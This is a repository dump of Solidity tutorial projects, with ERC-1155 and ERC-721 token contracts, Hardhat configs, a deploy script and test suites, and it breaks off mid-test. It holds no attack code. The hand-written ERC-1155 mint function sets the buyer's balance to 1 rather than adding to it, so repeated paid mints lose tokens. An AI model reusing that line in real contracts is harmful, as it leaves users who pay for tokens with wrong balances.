loadFixture(deployFixture); 86 | 87 | await expect(contract.burn(owner.address, 3, 1)) 88 | .to.be.revertedWithCustomError(contract, "ERC1155InsufficientBalance"); 89 | }); 90 | 91 | it("Should NOT burn (permission)", async () => { 92 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 93 | 94 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 95 | 96 | const instance = contract.connect(otherAccount); 97 | 98 | await expect(instance.burn(owner.address, 0, 1)) 99 | .to.be.revertedWithCustomError(contract, "ERC1155MissingApprovalForAll"); 100 | }); 101 | 102 | it("Should transfer from", async () => { 103 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 104 | 105 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 106 | 107 | await contract.safeTransferFrom(owner.address, otherAccount.address, 0, 1, "0x00000000"); 108 | 109 | const balances = await contract.balanceOfBatch([owner.address, otherAccount.address], [0, 0]); 110 | const supply = await contract.currentSupply(0); 111 | 112 | expect(balances[0]).to.equal(0, "The admin balance is wrong"); 113 | expect(balances[1]).to.equal(1, "The to balance is wrong"); 114 | expect(supply).to.equal(49, "The total supply is wrong"); 115 | }); 116 | 117 | it("Should emit transfer event", async () => { 118 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 119 | 120 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 121 | 122 | await expect(contract.safeTransferFrom(owner.address, otherAccount.address, 0, 1, "0x00000000")) 123 | .to.emit(contract, 'TransferSingle') 124 | .withArgs(owner.address, owner.address, otherAccount.address, 0, 1); 125 | }); 126 | 127 | it("Should transfer batch from", async () => { 128 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 129 | 130 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 131 | 132 | await contract.mint(1, { value: ethers.parseEther("0.01") }); 133 | 134 | await contract.safeBatchTransferFrom(owner.address, otherAccount.address, [0, 1], [1, 1], "0x00000000"); 135 | 136 | const balances = await contract.balanceOfBatch([owner.address, owner.address, otherAccount.address, otherAccount.address], [0, 1, 0, 1]); 137 | const supplyZero = await contract.currentSupply(0); 138 | const supplyOne = await contract.currentSupply(1); 139 | 140 | expect(balances[0]).to.equal(0, "The admin balance is wrong"); 141 | expect(balances[1]).to.equal(0, "The to balance is wrong"); 142 | expect(balances[2]).to.equal(1, "The to balance is wrong"); 143 | expect(balances[3]).to.equal(1, "The to balance is wrong"); 144 | expect(supplyZero).to.equal(49, "The total supply is wrong"); 145 | expect(supplyOne).to.equal(49, "The total supply is wrong"); 146 | }); 147 | 148 | it("Should emit transfer batch event", async () => { 149 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 150 | 151 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 152 | await contract.mint(1, { value: ethers.parseEther("0.01") }); 153 | 154 | await expect(contract.safeBatchTransferFrom(owner.address, otherAccount.address, [0, 1], [1, 1], "0x00000000")) 155 | .to.emit(contract, 'TransferBatch') 156 | .withArgs(owner.address, owner.address, otherAccount.address, [0, 1], [1, 1]); 157 | }); 158 | 159 | 160 | it("Should transfer from (approved)", async () => { 161 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 162 | 163 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 164 | 165 | await contract.setApprovalForAll(otherAccount.address, true); 166 | const approved = await contract.isApprovedForAll(owner.address, otherAccount.address); 167 | 168 | const instance = contract.connect(otherAccount); 169 | await instance.safeTransferFrom(owner.address, otherAccount.address, 0, 1, "0x00000000"); 170 | 171 | const balances = await contract.balanceOfBatch([owner.address, otherAccount.address], [0, 0]); 172 | 173 | expect(balances[0]).to.equal(0, "Can't transfer (approved)"); 174 | expect(balances[1]).to.equal(1, "Can't transfer (approved)"); 175 | expect(approved).to.equal(true, "Can't approve"); 176 | }); 177 | 178 | it("Should emit approve event", async () => { 179 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 180 | 181 | await expect(contract.setApprovalForAll(otherAccount.address, true)) 182 | .to.emit(contract, 'ApprovalForAll') 183 | .withArgs(owner.address, otherAccount.address, true); 184 | }); 185 | 186 | it("Should NOT transfer from (balance)", async () => { 187 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 188 | 189 | await expect(contract.safeTransferFrom(owner.address, otherAccount.address, 0, 1, "0x00000000")) 190 | .to.be.revertedWithCustomError(contract, "ERC1155InsufficientBalance"); 191 | }); 192 | 193 | it("Should NOT transfer from (permission)", async () => { 194 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 195 | 196 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 197 | 198 | const instance = contract.connect(otherAccount); 199 | 200 | await expect(instance.safeTransferFrom(owner.address, otherAccount.address, 0, 1, "0x00000000")) 201 | .to.be.revertedWithCustomError(contract, "ERC1155MissingApprovalForAll"); 202 | }); 203 | 204 | it("Should NOT transfer from (exists)", async () => { 205 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 206 | 207 | await expect(contract.safeTransferFrom(owner.address, otherAccount.address, 3, 1, "0x00000000")) 208 | .to.be.revertedWithCustomError(contract, "ERC1155InsufficientBalance"); 209 | }); 210 | 211 | it("Should NOT transfer from (approve)", async () => { 212 | const { contract, owner, otherAccount, oneMoreAccount } = await loadFixture(deployFixture); 213 | 214 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 215 | await contract.setApprovalForAll(oneMoreAccount.address, true); 216 | 217 | const instance = contract.connect(otherAccount); 218 | await expect(instance.safeTransferFrom(owner.address, otherAccount.address, 0, 1, "0x00000000")) 219 | .to.be.revertedWithCustomError(contract, "ERC1155MissingApprovalForAll"); 220 | }); 221 | 222 | it("Should NOT transfer batch (arrays mismatch)", async () => { 223 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 224 | 225 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 226 | await contract.mint(1, { value: ethers.parseEther("0.01") }); 227 | 228 | await expect(contract.safeBatchTransferFrom(owner.address, otherAccount.address, [0, 1], [1], "0x00000000")) 229 | .to.be.revertedWithCustomError(contract, "ERC1155InvalidArrayLength"); 230 | }); 231 | 232 | it("Should NOT transfer batch (permission)", async () => { 233 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 234 | 235 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 236 | await contract.mint(1, { value: ethers.parseEther("0.01") }); 237 | 238 | const instance = contract.connect(otherAccount); 239 | 240 | await expect(instance.safeBatchTransferFrom(owner.address, otherAccount.address, [0, 1], [1, 1], "0x00000000")) 241 | .to.be.revertedWithCustomError(contract, "ERC1155MissingApprovalForAll"); 242 | }); 243 | 244 | it("Should support interface", async () => { 245 | const { contract } = await loadFixture(deployFixture); 246 | 247 | const supports = await contract.supportsInterface("0xd9b67a26"); 248 | expect(supports).to.equal(true, "Doesn't support interface"); 249 | }); 250 | 251 | it("Should withdraw", async () => { 252 | const { contract, contractAddress, owner, otherAccount } = await loadFixture(deployFixture); 253 | 254 | const instance = contract.connect(otherAccount); 255 | await instance.mint(0, { value: ethers.parseEther("0.01") }); 256 | 257 | const contractBalanceBefore = await ethers.provider.getBalance(contractAddress); 258 | const ownerBalanceBefore = await ethers.provider.getBalance(owner.address); 259 | 260 | await contract.withdraw(); 261 | 262 | const contractBalanceAfter = await ethers.provider.getBalance(contractAddress); 263 | const ownerBalanceAfter = await ethers.provider.getBalance(owner.address); 264 | 265 | expect(contractBalanceBefore).to.equal(ethers.parseEther("0.01"), "Cannot withdraw"); 266 | expect(contractBalanceAfter).to.equal(0, "Cannot withdraw"); 267 | expect(ownerBalanceAfter).to.greaterThan(ownerBalanceBefore, "Cannot withdraw"); 268 | }); 269 | 270 | it("Should NOT withdraw (permission)", async () => { 271 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 272 | 273 | const instance = contract.connect(otherAccount); 274 | await instance.mint(0, { value: ethers.parseEther("0.01") }); 275 | 276 | await expect(instance.withdraw()).to.be.revertedWith("You do not have permission"); 277 | }); 278 | 279 | it("Should has URI metadata", async () => { 280 | const { contract } = await loadFixture(deployFixture); 281 | 282 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 283 | 284 | const uri = await contract.uri(0); 285 | expect(uri).to.equal("https://www.luiztools.com.br/tokens/0.json", "Wrong token URI"); 286 | }); 287 | 288 | it("Should NOT has URI metadata", async () => { 289 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 290 | 291 | await expect(contract.uri(3)) 292 | .to.be.revertedWith("This token does not exists"); 293 | }); 294 | }); -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true, 9 | "resolveJsonModule": true 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /multitoken-erc1155-remix/MyTokens.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.8.2/contracts/utils/Strings.sol"; 6 | 7 | interface ERC165 { 8 | function supportsInterface(bytes4 interfaceID) external view returns (bool); 9 | } 10 | 11 | interface ERC1155 { 12 | event TransferSingle( 13 | address indexed _operator, 14 | address indexed _from, 15 | address indexed _to, 16 | uint256 _id, 17 | uint256 _value 18 | ); 19 | 20 | event TransferBatch( 21 | address indexed _operator, 22 | address indexed _from, 23 | address indexed _to, 24 | uint256[] _ids, 25 | uint256[] _values 26 | ); 27 | 28 | event ApprovalForAll( 29 | address indexed _owner, 30 | address indexed _operator, 31 | bool _approved 32 | ); 33 | 34 | event URI(string _value, uint256 indexed _id); 35 | 36 | function safeTransferFrom( 37 | address _from, 38 | address _to, 39 | uint256 _id, 40 | uint256 _value, 41 | bytes calldata _data 42 | ) external; 43 | 44 | function safeBatchTransferFrom( 45 | address _from, 46 | address _to, 47 | uint256[] calldata _ids, 48 | uint256[] calldata _values, 49 | bytes calldata _data 50 | ) external; 51 | 52 | function balanceOf(address _owner, uint256 _id) 53 | external 54 | view 55 | returns (uint256); 56 | 57 | function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) 58 | external 59 | view 60 | returns (uint256[] memory); 61 | 62 | function setApprovalForAll(address _operator, bool _approved) external; 63 | 64 | function isApprovedForAll(address _owner, address _operator) 65 | external 66 | view 67 | returns (bool); 68 | } 69 | 70 | interface ERC1155TokenReceiver { 71 | function onERC1155Received( 72 | address _operator, 73 | address _from, 74 | uint256 _id, 75 | uint256 _value, 76 | bytes calldata _data 77 | ) external returns (bytes4); 78 | 79 | function onERC1155BatchReceived( 80 | address _operator, 81 | address _from, 82 | uint256[] calldata _ids, 83 | uint256[] calldata _values, 84 | bytes calldata _data 85 | ) external returns (bytes4); 86 | } 87 | 88 | interface ERC1155Metadata_URI { 89 | function uri(uint256 _id) external view returns (string memory); 90 | } 91 | 92 | contract MyTokens is ERC1155, ERC165, ERC1155Metadata_URI { 93 | mapping(uint256 => mapping(address => uint256)) private _balances; //tokenId => (owner => balance) 94 | mapping(address => mapping(address => bool)) private _approvals; //owner => (operator => approved) 95 | 96 | uint private constant NFT_1 = 0; 97 | uint private constant NFT_2 = 1; 98 | uint private constant NFT_3 = 2; 99 | 100 | uint[] public _currentSupply = [50, 50, 50]; 101 | 102 | uint public _tokenPrice = 0.01 ether; 103 | 104 | function balanceOf(address _owner, uint256 _id) 105 | external 106 | view 107 | returns (uint256) 108 | { 109 | require(_id < 3, "This token does not exists"); 110 | return _balances[_id][_owner]; 111 | } 112 | 113 | function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) 114 | external 115 | view 116 | returns (uint256[] memory) 117 | { 118 | require( 119 | _owners.length == _ids.length, 120 | "The array params must be equals in length" 121 | ); 122 | uint256[] memory result = new uint256[](_owners.length); 123 | for (uint256 i = 0; i < _owners.length; i++) { 124 | require(_ids[i] < 3, "This token does not exists"); 125 | result[i] = _balances[_ids[i]][_owners[i]]; 126 | } 127 | return result; 128 | } 129 | 130 | function _isApprovedOrOwner(address _owner, address _spender) 131 | private 132 | view 133 | returns (bool) 134 | { 135 | return _owner == _spender || _approvals[_owner][_spender]; 136 | } 137 | 138 | function safeTransferFrom( 139 | address _from, 140 | address _to, 141 | uint256 _id, 142 | uint256 _value, 143 | bytes calldata _data 144 | ) external { 145 | require(_isApprovedOrOwner(_from, msg.sender), "Not authorized"); 146 | require(_from != address(0), "The from address must not be zero"); 147 | require(_to != address(0), "The to address must not be zero"); 148 | require(_from != _to, "The from and to addresses must be different"); 149 | require(_value > 0, "The value must not be zero"); 150 | require(_balances[_id][_from] >= _value, "Insufficient balance"); 151 | 152 | _balances[_id][_from] -= _value; 153 | _balances[_id][_to] += _value; 154 | 155 | emit TransferSingle(msg.sender, _from, _to, _id, _value); 156 | 157 | require( 158 | _to.code.length == 0 || 159 | ERC1155TokenReceiver(_to).onERC1155Received( 160 | msg.sender, 161 | _from, 162 | _id, 163 | _value, 164 | _data 165 | ) == 166 | ERC1155TokenReceiver.onERC1155Received.selector, 167 | "unsafe recipient" 168 | ); 169 | } 170 | 171 | function safeBatchTransferFrom( 172 | address _from, 173 | address _to, 174 | uint256[] calldata _ids, 175 | uint256[] calldata _values, 176 | bytes calldata _data 177 | ) external { 178 | require(_isApprovedOrOwner(_from, msg.sender), "Not authorized"); 179 | require(_from != address(0), "The from address cannot be zero"); 180 | require(_to != address(0), "The to address cannot be zero"); 181 | require(_from != _to, "The from and to addresses cannot be equal"); 182 | require( 183 | _ids.length == _values.length, 184 | "The array params length must be equals" 185 | ); 186 | 187 | for (uint256 i = 0; i < _ids.length; i++) { 188 | require( 189 | _balances[_ids[i]][_from] >= _values[i], 190 | "Insufficient balance" 191 | ); 192 | 193 | _balances[_ids[i]][_from] -= _values[i]; 194 | _balances[_ids[i]][_to] += _values[i]; 195 | } 196 | 197 | emit TransferBatch(msg.sender, _from, _to, _ids, _values); 198 | 199 | require( 200 | _to.code.length == 0 || 201 | ERC1155TokenReceiver(_to).onERC1155BatchReceived( 202 | msg.sender, 203 | _from, 204 | _ids, 205 | _values, 206 | _data 207 | ) == 208 | ERC1155TokenReceiver.onERC1155BatchReceived.selector, 209 | "unsafe recipient" 210 | ); 211 | } 212 | 213 | function setApprovalForAll(address _operator, bool _approved) external { 214 | require(_operator != address(0), "The operator address cannot be zero"); 215 | 216 | _approvals[msg.sender][_operator] = _approved; 217 | 218 | emit ApprovalForAll(msg.sender, _operator, _approved); 219 | } 220 | 221 | function isApprovedForAll(address _owner, address _operator) 222 | external 223 | view 224 | returns (bool) 225 | { 226 | return _approvals[_owner][_operator]; 227 | } 228 | 229 | function supportsInterface(bytes4 interfaceID) 230 | external 231 | pure 232 | returns (bool) 233 | { 234 | return 235 | interfaceID == 0x01ffc9a7 || // ERC-165 support (i.e. `bytes4(keccak256('supportsInterface(bytes4)'))`). 236 | interfaceID == 0x4e2312e0 || // ERC-1155 `ERC1155TokenReceiver` support (i.e. `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) ^ bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`). 237 | interfaceID == 0x0e89341c;//ERC1155Metadata_URI 238 | } 239 | 240 | function mint(uint _tokenId) external payable { 241 | require(_tokenId < 3, "Invalid token id"); 242 | require(_currentSupply[_tokenId] > 0, "Max supply reached"); 243 | require(msg.value >= _tokenPrice, "Insufficient payment"); 244 | 245 | _balances[_tokenId][msg.sender] = 1; 246 | _currentSupply[_tokenId] -= 1; 247 | 248 | emit TransferSingle(msg.sender, address(0), msg.sender, _tokenId, 1); 249 | 250 | require( 251 | msg.sender.code.length == 0 || 252 | ERC1155TokenReceiver(msg.sender).onERC1155Received( 253 | msg.sender, 254 | address(0), 255 | _tokenId, 256 | 1, 257 | "" 258 | ) == 259 | ERC1155TokenReceiver.onERC1155Received.selector, 260 | "unsafe recipient" 261 | ); 262 | } 263 | 264 | function burn( 265 | address _from, 266 | uint256 _tokenId 267 | ) public { 268 | require(_from != address(0), "ERC1155: burn from the zero address"); 269 | require(_tokenId < 3, "This token does not exists"); 270 | require(_balances[_tokenId][_from] >= 1, "Insufficient balance" ); 271 | require(_isApprovedOrOwner(_from, msg.sender), "You do not have permission"); 272 | 273 | _balances[_tokenId][_from] -= 1; 274 | 275 | emit TransferSingle(msg.sender, _from, address(0), _tokenId, 1); 276 | } 277 | 278 | function uri(uint256 _tokenId) external pure returns (string memory) { 279 | require(_tokenId < 3, "This token does not exists"); 280 | return string.concat("https://www.luiztools.com.br/", Strings.toString(_tokenId), ".json"); 281 | } 282 | } 283 | -------------------------------------------------------------------------------- /multitoken-erc1155-remix/README.md: -------------------------------------------------------------------------------- 1 | # Multitoken ERC-1155 Remix 2 | A simple ERC-1155 implementation for multitoken contracts. 3 | 4 | ## Mais Informações 5 | 6 | Leia o tutorial em: https://www.luiztools.com.br/post/tutorial-de-smart-contract-erc-1155-multitoken-com-solidity/ 7 | 8 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 9 | 10 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 11 | 12 | Me siga nas redes sociais: https://about.me/luiztools 13 | 14 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /nft-erc721-hardhat/.env.example: -------------------------------------------------------------------------------- 1 | #12-word mnemonic phrase 2 | SECRET= 3 | 4 | #Your Node URL RPC Server. Ex: https://data-seed-prebsc-1-s1.binance.org:8545/ 5 | NODE_URL= 6 | 7 | #Your Node Chain ID. Ex: 97 8 | CHAIN_ID= 9 | 10 | #Your block explorer Api Key (ex: BSCScan) 11 | API_KEY= 12 | -------------------------------------------------------------------------------- /nft-erc721-hardhat/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | # Hardhat files 9 | cache 10 | artifacts 11 | 12 | 13 | node_modules 14 | .env 15 | coverage 16 | coverage.json 17 | typechain 18 | typechain-types 19 | 20 | # Hardhat files 21 | cache 22 | artifacts 23 | 24 | -------------------------------------------------------------------------------- /nft-erc721-hardhat/README.md: -------------------------------------------------------------------------------- 1 | # NFT ERC-721 HardHat 2 | A NFT contract example in Solidity with HardHat (ERC-721). 3 | 4 | ## Pre-requisites 5 | 6 | 1. Node.js 7 | 8 | ## How to Run 9 | 10 | 1. open command line terminal 11 | 2. cd nft-erc721-hardhat 12 | 3. npm install 13 | 4. npx hardhat test 14 | 15 | ## Mais Informações 16 | 17 | Leia o tutorial em: https://www.luiztools.com.br/post/como-criar-nfts-usando-solidity-e-hardhat-js/ 18 | 19 | Deploy em: https://www.luiztools.com.br/post/deploy-de-smart-contract-com-hardhat-e-metamask/ 20 | 21 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 22 | 23 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 24 | 25 | Me siga nas redes sociais: https://about.me/luiztools 26 | 27 | Receba novidades no Telegram: https://t.me/luiznews 28 | -------------------------------------------------------------------------------- /nft-erc721-hardhat/contracts/MyNFT.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; 5 | import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; 6 | import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; 7 | import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; 8 | import "@openzeppelin/contracts/utils/Strings.sol"; 9 | 10 | contract MyNFT is ERC721, ERC721Enumerable, ERC721URIStorage, ERC721Burnable { 11 | 12 | uint256 private _nextTokenId; 13 | 14 | constructor() ERC721("MyNFT", "MYN") {} 15 | 16 | function _baseURI() internal pure override returns (string memory) { 17 | return "https://www.luiztools.com.br/nft/"; 18 | } 19 | 20 | function mint() public { 21 | uint256 tokenId = ++_nextTokenId; 22 | 23 | _safeMint(msg.sender, tokenId); 24 | _setTokenURI(tokenId, Strings.toString(tokenId)); 25 | } 26 | 27 | // The following functions are overrides required by Solidity. 28 | 29 | function _update(address to, uint256 tokenId, address auth) 30 | internal 31 | override(ERC721, ERC721Enumerable) 32 | returns (address) 33 | { 34 | return super._update(to, tokenId, auth); 35 | } 36 | 37 | function _increaseBalance(address account, uint128 value) 38 | internal 39 | override(ERC721, ERC721Enumerable) 40 | { 41 | super._increaseBalance(account, value); 42 | } 43 | 44 | function tokenURI(uint256 tokenId) 45 | public 46 | view 47 | override(ERC721, ERC721URIStorage) 48 | returns (string memory) 49 | { 50 | return string.concat(super.tokenURI(tokenId), ".json"); 51 | } 52 | 53 | function supportsInterface(bytes4 interfaceId) 54 | public 55 | view 56 | override(ERC721, ERC721Enumerable, ERC721URIStorage) 57 | returns (bool) 58 | { 59 | return super.supportsInterface(interfaceId); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /nft-erc721-hardhat/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | 4 | import dotenv from 'dotenv'; 5 | dotenv.config(); 6 | 7 | const config: HardhatUserConfig = { 8 | solidity: { 9 | version: "0.8.20", 10 | settings: { 11 | optimizer: { 12 | enabled: true, 13 | runs: 1000 14 | } 15 | } 16 | }, 17 | networks: { 18 | bsctest: { 19 | url: process.env.NODE_URL, 20 | chainId: parseInt(`${process.env.CHAIN_ID}`), 21 | accounts: { 22 | mnemonic: process.env.SECRET 23 | } 24 | } 25 | }, 26 | etherscan: { 27 | apiKey: process.env.API_KEY 28 | } 29 | }; 30 | 31 | export default config; 32 | -------------------------------------------------------------------------------- /nft-erc721-hardhat/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nft-erc721-hardhat", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npm run compile && npm run coverage", 8 | "coverage": "npx hardhat coverage", 9 | "compile": "npx hardhat compile", 10 | "deploy": "npx hardhat run scripts/deploy.ts --network bsctest" 11 | }, 12 | "keywords": [], 13 | "author": "LuizTools", 14 | "license": "MIT", 15 | "devDependencies": { 16 | "@nomicfoundation/hardhat-toolbox": "^4.0.0", 17 | "hardhat": "^2.19.1" 18 | }, 19 | "dependencies": { 20 | "@openzeppelin/contracts": "^5.0.0", 21 | "dotenv": "^16.3.1" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /nft-erc721-hardhat/scripts/deploy.ts: -------------------------------------------------------------------------------- 1 | import { ethers } from "hardhat"; 2 | 3 | async function main() { 4 | const MyNFT = await ethers.getContractFactory("MyNFT"); 5 | const myNFT = await MyNFT.deploy(); 6 | 7 | await myNFT.waitForDeployment(); 8 | const address = await myNFT.getAddress(); 9 | 10 | console.log(`Contract MyNFT deployed to ${address}`); 11 | } 12 | 13 | // We recommend this pattern to be able to use async/await everywhere 14 | // and properly handle errors. 15 | main().catch((error) => { 16 | console.error(error); 17 | process.exitCode = 1; 18 | }); 19 | -------------------------------------------------------------------------------- /nft-erc721-hardhat/test/MyNFT.test.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture } from "@nomicfoundation/hardhat-network-helpers"; 2 | import { expect } from "chai"; 3 | import { ethers } from "hardhat"; 4 | 5 | describe("MyNFT", () => { 6 | async function deployFixture() { 7 | const [owner, otherAccount, oneMoreAccount] = await ethers.getSigners(); 8 | const MyNFT = await ethers.getContractFactory("MyNFT"); 9 | const myNFT = await MyNFT.deploy(); 10 | return { myNFT, owner, otherAccount, oneMoreAccount }; 11 | } 12 | 13 | it("Should has the correct name", async () => { 14 | const { myNFT } = await loadFixture(deployFixture); 15 | const name = await myNFT.name() as string; 16 | expect(name).to.equal("MyNFT", "The name is wrong"); 17 | }); 18 | 19 | it("Should has the correct symbol", async () => { 20 | const { myNFT } = await loadFixture(deployFixture); 21 | const symbol = await myNFT.symbol() as string; 22 | expect(symbol).to.equal("MYN", "The symbol is wrong"); 23 | }); 24 | 25 | it("Should mint a new NFT", async () => { 26 | const { myNFT, owner } = await loadFixture(deployFixture); 27 | 28 | await myNFT.mint(); 29 | 30 | const balance = await myNFT.balanceOf(owner.address); 31 | const token = await myNFT.tokenByIndex(0); 32 | const ownerToken = await myNFT.tokenOfOwnerByIndex(owner.address, 0); 33 | const ownerOf = await myNFT.ownerOf(token); 34 | const totalSupply = await myNFT.totalSupply(); 35 | 36 | expect(totalSupply).to.equal(1, "Can't mint"); 37 | expect(balance).to.equal(1, "Can't mint"); 38 | expect(token).to.equal(ownerToken, "Can't mint"); 39 | expect(ownerOf).to.equal(owner.address, "Can't mint"); 40 | }); 41 | 42 | it("Should burn", async () => { 43 | const { myNFT, owner } = await loadFixture(deployFixture); 44 | 45 | await myNFT.mint(); 46 | const token = await myNFT.tokenOfOwnerByIndex(owner.address, 0); 47 | 48 | await myNFT.burn(token); 49 | 50 | const totalSupply = await myNFT.totalSupply(); 51 | const balance = await myNFT.balanceOf(owner.address); 52 | 53 | expect(balance).to.equal(0, "Can't burn"); 54 | expect(totalSupply).to.equal(0, "Can't burn"); 55 | }); 56 | 57 | it("Should burn (approved)", async () => { 58 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 59 | 60 | await myNFT.mint(); 61 | 62 | const token = await myNFT.tokenOfOwnerByIndex(owner.address, 0); 63 | await myNFT.approve(otherAccount.address, token); 64 | 65 | const instance = myNFT.connect(otherAccount); 66 | await instance.burn(token); 67 | 68 | const totalSupply = await myNFT.totalSupply(); 69 | const balanceFrom = await myNFT.balanceOf(owner.address); 70 | const balanceTo = await myNFT.balanceOf(owner.address); 71 | 72 | expect(balanceFrom).to.equal(0, "Can't burn"); 73 | expect(balanceTo).to.equal(0, "Can't burn"); 74 | expect(totalSupply).to.equal(0, "Can't burn"); 75 | }); 76 | 77 | it("Should burn (approved all)", async () => { 78 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 79 | 80 | await myNFT.mint(); 81 | 82 | const token = await myNFT.tokenOfOwnerByIndex(owner.address, 0); 83 | await myNFT.setApprovalForAll(otherAccount.address, true); 84 | 85 | const instance = myNFT.connect(otherAccount); 86 | await instance.burn(token); 87 | 88 | const totalSupply = await myNFT.totalSupply(); 89 | const balanceFrom = await myNFT.balanceOf(owner.address); 90 | const balanceTo = await myNFT.balanceOf(owner.address); 91 | 92 | expect(balanceFrom).to.equal(0, "Can't burn"); 93 | expect(balanceTo).to.equal(0, "Can't burn"); 94 | expect(totalSupply).to.equal(0, "Can't burn"); 95 | }); 96 | 97 | it("Should NOT burn (exists)", async () => { 98 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 99 | 100 | await expect(myNFT.burn(1)) 101 | .to.be.revertedWithCustomError(myNFT, "ERC721NonexistentToken"); 102 | }); 103 | 104 | it("Should NOT burn (permission)", async () => { 105 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 106 | 107 | await myNFT.mint(); 108 | 109 | const instance = myNFT.connect(otherAccount); 110 | const token = await instance.tokenByIndex(0); 111 | 112 | await expect(instance.burn(token)) 113 | .to.be.revertedWithCustomError(myNFT, "ERC721InsufficientApproval"); 114 | }); 115 | 116 | it("Should has URI metadata", async () => { 117 | const { myNFT } = await loadFixture(deployFixture); 118 | 119 | await myNFT.mint(); 120 | 121 | const token = await myNFT.tokenByIndex(0); 122 | 123 | const uri = await myNFT.tokenURI(token); 124 | expect(uri).to.equal("https://www.luiztools.com.br/nft/1.json", "Wrong token URI"); 125 | }); 126 | 127 | it("Should NOT has URI metadata", async () => { 128 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 129 | 130 | await expect(myNFT.tokenURI(1)) 131 | .to.be.revertedWithCustomError(myNFT, "ERC721NonexistentToken"); 132 | }); 133 | 134 | it("Should transfer from", async () => { 135 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 136 | 137 | await myNFT.mint(); 138 | const token = await myNFT.tokenByIndex(0); 139 | 140 | await myNFT.transferFrom(owner.address, otherAccount.address, token); 141 | 142 | const balanceFrom = await myNFT.balanceOf(owner.address); 143 | const balanceTo = await myNFT.balanceOf(otherAccount.address); 144 | const totalSupply = await myNFT.totalSupply(); 145 | const ownerOf = await myNFT.ownerOf(token); 146 | const ownerToken = await myNFT.tokenOfOwnerByIndex(otherAccount.address, 0); 147 | 148 | expect(balanceFrom).to.equal(0, "The admin balance is wrong"); 149 | expect(balanceTo).to.equal(1, "The to balance is wrong"); 150 | expect(totalSupply).to.equal(1, "The total supply is wrong"); 151 | expect(token).to.equal(ownerToken, "Can't transfer"); 152 | expect(ownerOf).to.equal(otherAccount.address, "Can't transfer"); 153 | }); 154 | 155 | it("Should emit transfer event", async () => { 156 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 157 | 158 | await myNFT.mint(); 159 | const token = await myNFT.tokenByIndex(0); 160 | 161 | await expect(myNFT.transferFrom(owner.address, otherAccount.address, token)) 162 | .to.emit(myNFT, 'Transfer') 163 | .withArgs(owner.address, otherAccount.address, token); 164 | }); 165 | 166 | 167 | it("Should transfer from (approved)", async () => { 168 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 169 | 170 | await myNFT.mint(); 171 | 172 | const token = await myNFT.tokenByIndex(0); 173 | await myNFT.approve(otherAccount.address, token); 174 | const approved = await myNFT.getApproved(token); 175 | 176 | const instance = myNFT.connect(otherAccount); 177 | await instance.transferFrom(owner.address, otherAccount.address, token); 178 | 179 | const ownerOf = await instance.ownerOf(token); 180 | 181 | 